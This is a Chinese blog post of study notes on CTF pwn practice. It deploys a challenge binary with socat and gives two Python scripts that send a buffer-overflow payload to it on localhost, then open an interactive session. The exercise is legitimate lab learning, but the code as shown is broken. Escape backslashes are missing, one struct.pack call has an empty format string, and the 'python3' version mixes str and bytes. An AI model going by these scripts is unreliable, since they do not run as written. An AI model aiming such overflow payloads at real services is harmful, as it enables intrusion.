免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
前言
本文为B站国资社畜大佬《你想有多PWN》视频教程的学习实践笔记,感兴趣的可以点击阅读原文去看视频教程。
SOCAT远程部署PWN题
可以使用如下socat指令,把我们的PWN题目远程部署上:
socat tcp-l:8888,fork exec:./question_2_x64,reuseaddr
其中:
-
socat:调用socat工具。
-
tcp-l:8888:这部分指定socat监听TCP连接。tcp-l代表TCP监听模式,8888是端口号,表示socat会在本地的8888端口上监听进来的TCP连接。
-
fork:这个参数告诉socat对于每个进来的连接,都应该通过forking(分叉)一个新的进程来处理。这意味着socat能同时处理多个连接,每个连接都有其自己的进程。
-
exec:./question_2_x64:当socat接收到一个新的连接时,它会执行exec:后面指定的命令。在这个例子中,它会执行当前目录下的question_2_x64程序。这个程序必须是可执行的,并且这部分的路径应该根据实际的程序位置进行调整。
-
reuseaddr:这个参数允许socat重新使用同一个地址和端口。这在程序频繁重启,或者是在之前的连接还处在TIME_WAIT状态下时特别有用,因为这可以让你无需等待就能重新绑定到相同的端口。
部署上之后,我们就可以nc连接8888端口,尝试打PWN了:
使用Python脚本打PWN
给出python代码示例:
import socket
import telnetlib
import struct
def P32(val):
return struct.pack("", val)
def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 8888))
payload = 'A'*0x8 + 'x10'
s.sendall(payload + 'n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
if __name__ == "__main__":
# socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddr
pwn()
简单讲解以下脚本内容:
-
创建一个socket连接:这个部分使用socket模块创建了一个TCP连接到本地主机的8888端口上。这个端口与前面提到的socat命令创建的服务端口相匹配。
-
构造payload:变量payload被赋值为'A'*0x8 + 'x10',这个字符串由8个"A"字符和一个转义字符x10组成。这种payload通常用于溢出或改变程序的正常流程。
-
发送payload:通过socket发送payload加上一个换行符。
-
使用telnetlib进行交互:创建了一个Telnet对象,并将其socket属性设置为之前创建的socket连接。然后调用interact()方法进入交互模式,允许用户通过telnet会话与远程服务交互。
但是这里我们的payload应该是任意8个字符+“deadbeef”,而且这是基于python2的,我们乐意改成python3,因此我们稍微修改一下:
import socket
import telnetlib
import struct
def P32(val):
return struct.pack("<I", val)
def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 8888))
payload = 'aaaaaaaadeadbeef'
# 使用sendall发送字节数据,注意换行符也需要是字节类型
s.sendall(payload + b'n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
if __name__ == "__main__":
pwn()
然后直接执行看看是否成功:
原文始发于微信公众号(赛博安全狗):初探使用python打PWN
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论